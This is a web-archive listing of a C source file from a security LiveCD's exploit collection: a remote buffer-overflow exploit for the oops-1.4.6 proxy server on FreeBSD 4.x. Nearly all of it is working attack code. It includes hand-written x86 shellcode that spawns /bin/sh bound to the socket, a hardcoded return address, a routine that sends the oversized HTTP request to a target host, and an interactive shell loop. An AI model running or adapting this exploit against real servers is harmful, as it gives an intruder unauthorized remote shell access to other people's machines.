home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / proxy / oopz.c < prev   
Encoding:
C/C++ Source or Header  |  2005-02-12  |  6.9 KB  |  248 lines
  1. /*--oopz.c---//-------------r-3-m-0-t-3---------------\\-------------*
  2.  
  3.  TARGET :       oops-1.4.6 (one russi4n proxy-server)
  4.  CLASS  :       remote
  5.  0S     :       FreeBSD 4.(0 - 2)
  6.  AUTH0R :       diman
  7.  VEND0R :       wanna payment for support. I'm not doing his job, yeh?
  8.  DATE   :       7-11-2k
  9.  N0TE   :       xploit was coded for fun only.
  10.  GREETS :       &y, fm, JU$ (all for be a gOod guys)
  11. */
  12.  
  13. #define BUFADDR         0xbfafe55f      // ret
  14. #define OFFSET2         450             // second copy
  15. #define RETOFF          1363            // ip offset
  16.  
  17. #include <stdio.h>
  18. #include <string.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <netinet/in.h>
  22. #include <arpa/inet.h>
  23. #include <netdb.h>
  24. #include <unistd.h>
  25.  
  26. /*
  27.    I found two offsets where our shellcode can be placed.
  28.    Since ret value is hardcoded, we should use two copies
  29.    of shellcode. But last part of the second copy can be
  30.    corrupted during procedure processing. Solution is to
  31.    check current offset of the shellcode and jump from
  32.    second copy to the first one. Something like v1r11 :)
  33.    Also we avoids large letters in the shellcode
  34.    and some other characters. We simple dup2(33,0) before
  35.    execve, so be sure you are only connected if you don't
  36.    wanna provide sh3ll for someone else =)   Enough...
  37. */
  38.  
  39.  
  40. int
  41. shellcode(char* buf) {
  42. __asm__("
  43.         call    ne0;
  44. ne0:    popl    %eax;
  45.         nop;
  46.         nop;
  47.         LEN1 = sh - ne0 ;
  48.         leal    LEN1(%eax),%eax;
  49.         pushl   %eax;
  50.         pushl   8(%ebp);
  51.         call    strcpy;
  52.         addl    $8,%esp;
  53.         jmp     done;
  54.  
  55.  
  56. //-----s-h-e-l-l-c-o-d-e---s-t-a-r-t-s---h-e-r-e--------//
  57.  
  58. sh:     .fill 6,1,0x90;         // magic nops
  59.         jmp     me;
  60. retme:  popl    %esi;
  61.         nop;
  62.         movl    %esi,%eax;
  63.         DELTA = huh - sh - 450;
  64.         negl    %eax;
  65.         leal    DELTA(%eax),%eax;
  66.         negl    %eax;
  67.         movl    (%eax),%ebx;
  68.         cmpl    $0x90909090,%ebx;
  69.         je      huh;            // we are in the first copy yet
  70.         movl    %esi,%eax;      // jump to first copy
  71.         leal    -450(%eax),%eax;
  72.         jmp     *%eax;
  73. me:     call    retme;
  74.         
  75. huh:    .fill   5,1,0x90;       
  76.         jmp     call0;          // just one more (we not shure where we are)
  77. ret0:   popl    %esi;
  78.         movl    (%esi),%ebx;    // decrypt /bin/sh
  79.         subl    $0x30303030,%ebx;
  80.         movl    %ebx,(%esi);
  81.         movl    4(%esi),%ebx;
  82.         subl    $0x30303030,%ebx;
  83.         movl    %ebx,4(%esi);
  84.         xorl    %eax,%eax;
  85.         movl    %esi,%edi;
  86.         negl    %edi;
  87.         leal    -7(%edi),%edi;
  88.         negl    %edi;
  89.         movb    %al,(%edi);     // end it with 0
  90.         jmp     prep;
  91.  
  92. call0:  call    ret0;   
  93.         .byte   0x5f,0x92,0x99,0x9e,0x5f,0xa3,0x98,0xee,0x03; /* /bin/sh */
  94.  
  95. dup2:   leal    -4(%esp),%esp;
  96.         movl    %ecx,(%esp);
  97.         leal    -4(%esp),%esp;
  98.         movl    $-33,%eax;
  99.         negl    %eax;
  100.         movl    %eax,(%esp);
  101.         movl    $-0x5a,%eax;
  102.         negl    %eax;
  103.         leal    -4(%esp),%esp;  
  104.         int     $0x80;
  105.         negl    %esp;
  106.         leal    -0xc(%esp),%esp;
  107.         negl    %esp;
  108.         ret;
  109.  
  110. prep:   xorl    %ecx,%ecx;
  111.         call    dup2;
  112.         movb    $1,%cl;
  113.         call    dup2;
  114.         movb    $2,%cl;
  115.         call    dup2;
  116.  
  117.         xorl    %eax,%eax;
  118.         leal    -4(%esp),%esp;
  119.         movl    %eax,(%esp);    // 0
  120.         leal    -4(%esp),%esp;  
  121.         movl    %esi,(%esp);    // name
  122.         movl    %esp,%edi;
  123.         leal    -4(%esp),%esp;  
  124.         movl    %eax,(%esp);    // envp
  125.         leal    -4(%esp),%esp;  
  126.         movl    %edi,(%esp);    // av[]
  127.         leal    -4(%esp),%esp;
  128.         movl    %esi,(%esp);    // name
  129.         movb    $0x3b,%al;      // execve
  130.         leal    -4(%esp),%esp;
  131.         int     $0x80;
  132.         xorl    %eax,%eax;
  133.         movl    %eax,(%esp);
  134.         movl    %eax,%ebx;
  135.         movb    $1,%al;         // exit
  136.         leal    -4(%esp),%esp;
  137.         int     $0x80;
  138.         nop;                    // hip
  139.         nop;                    // hop
  140.         .byte   0x00;
  141. done:;
  142. ");
  143. }
  144.  
  145.  
  146. int res(char*,struct sockaddr_in *);
  147. void spawned_shell(int sock);
  148.  
  149.  
  150. main(int ac, char** av){
  151. #define SZ      0x2000
  152. #define FIL     0xbf
  153.         char buf[SZ],buf2[SZ],*pc,c;
  154.         int i,sock;
  155.         struct sockaddr_in sin;         
  156.         short port=3128;
  157.         unsigned *pu;
  158.         memset(buf,FIL,SZ);
  159.         shellcode(buf);
  160.         buf[strlen(buf)]=FIL;
  161.         pc=&buf[OFFSET2];
  162.         shellcode(pc);
  163.         pc+=strlen(pc);
  164.         *pc=FIL;
  165.         pu=(unsigned*)&buf[RETOFF];
  166.         *pu=BUFADDR;
  167.         buf[RETOFF+4]=0;
  168.         strcpy(buf2,"GET http://p");
  169.         strcat(buf2,buf);
  170.         strcat(buf2," HTTP/1.0\r\n\r\n");
  171.         fprintf(stderr,"oops-1.4.6 remote xpl0it for 4.x by diman.\n");
  172.         fprintf(stderr,"use for educational purpose only.\n");
  173.         if(ac<2) {
  174.                 fprintf(stderr,"usage: ./oopz target_host [port, def=3128]\n");
  175.                 exit(0);
  176.         }
  177.         pc=av[1];
  178.         if(ac>2) port=atoi(av[2]);
  179.         if(!res(pc,&sin)) {
  180.                 fprintf(stderr,"can't resolve %s\n",pc);
  181.                 exit(0);
  182.         }
  183.         sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  184.         sin.sin_port=htons(port);       
  185.         if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1) {
  186.                 fprintf(stderr,"can't connect %s:%d\n",pc,port);
  187.                 exit(0);
  188.         }
  189.         fprintf(stderr,"Connected. Sending surprise...\n");
  190.         send(sock,buf2,strlen(buf2),0);
  191.         spawned_shell(sock);
  192. }
  193.  
  194.  
  195. int res(char* host,struct sockaddr_in * ps)
  196. {
  197.         struct hostent *he;
  198.         bzero(ps,sizeof(struct sockaddr_in));
  199.         ps->sin_family=AF_INET;
  200.         ps->sin_len=sizeof(struct sockaddr_in);
  201.         if(!inet_aton(host,&ps->sin_addr))
  202.         {       
  203.                 he=gethostbyname2(host,AF_INET);
  204.                 if(!he) return 0;
  205.                 memcpy(&ps->sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
  206.         }
  207.         return 1;
  208. }
  209.  
  210.  
  211.  
  212. /*
  213.         Next was ripped from wildcoyote's gopher sploit.
  214. */
  215. void spawned_shell(int sock){
  216.         char buf[1024];
  217.         fd_set rset;
  218.         int i;
  219. while (1)
  220.  {
  221.         FD_ZERO(&rset);
  222.         FD_SET(sock,&rset);
  223.         FD_SET(STDIN_FILENO,&rset);
  224.         select(sock+1,&rset,NULL,NULL,NULL);
  225.         if (FD_ISSET(sock,&rset)) {
  226.                 i=read(sock,buf,1024);
  227.                 if (i <= 0){
  228.                         fprintf(stderr,"Connection lost.\n");
  229.                         exit(0);
  230.                 }
  231.                 buf[i]=0;
  232.                 puts(buf);
  233.         }
  234.         if (FD_ISSET(STDIN_FILENO,&rset))
  235.         {
  236.                 i=read(STDIN_FILENO,buf,1024);
  237.                 if (i>0){
  238.                         buf[i]=0;
  239.                         if(write(sock,buf,i)<0){
  240.                                 fprintf(stderr,"Connection lost.\n");
  241.                                 exit(0);
  242.                         }
  243.                 }
  244.         }
  245.  }
  246. }
  247. /*---------------------e-n-d---o-f---o-o-p-z-.-c------------------*/
  248.